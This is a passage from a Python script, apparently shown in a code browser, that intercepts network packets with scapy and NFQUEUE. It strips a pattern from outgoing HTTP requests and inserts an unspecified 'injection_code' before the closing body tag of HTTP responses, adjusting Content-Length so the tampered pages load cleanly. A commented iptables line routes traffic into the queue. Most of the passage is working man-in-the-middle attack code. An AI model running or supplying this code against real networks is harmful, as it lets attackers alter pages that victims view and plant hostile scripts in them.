(packet)
| 18 | return packet |
| 19 | |
| 20 | def proccess_packet(packet): |
| 21 | scapy_packet = scapy.IP(packet.get_payload()) |
| 22 | if scapy_packet.haslayer(scapy.Raw): |
| 23 | load = scapy_packet[scapy.Raw].load |
| 24 | if scapy_packet[scapy.TCP].dport == 80: |
| 25 | print("\n[+] HTTP Request") |
| 26 | load =re.sub(regex_string, "", load) |
| 27 | |
| 28 | elif scapy_packet[scapy.TCP].sport == 80: |
| 29 | print("\n[+] HTTP Response") |
| 30 | print(load) |
| 31 | load = load.replace("</body>", injection_code + "</body>") |
| 32 | content_length_search = re.search("(?:Content-Length:\s)(\d*)", load) |
| 33 | if content_length_search and "text/html" in load: |
| 34 | content_length = content_length_search.group(1) |
| 35 | new_content_length = int(content_length) + len(injection_code) |
| 36 | load = load.replace(content_length, str(new_content_length)) |
| 37 | print(content_length) |
| 38 | |
| 39 | if load != scapy_packet[scapy.Raw].load: |
| 40 | new_packet = set_load(scapy_packet, load) |
| 41 | packet.set_payload(str(new_packet)) |
| 42 | packet.accept() |
| 43 | |
| 44 | # For local Testing |
| 45 | # subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True) |
nothing calls this directly
no test coverage detected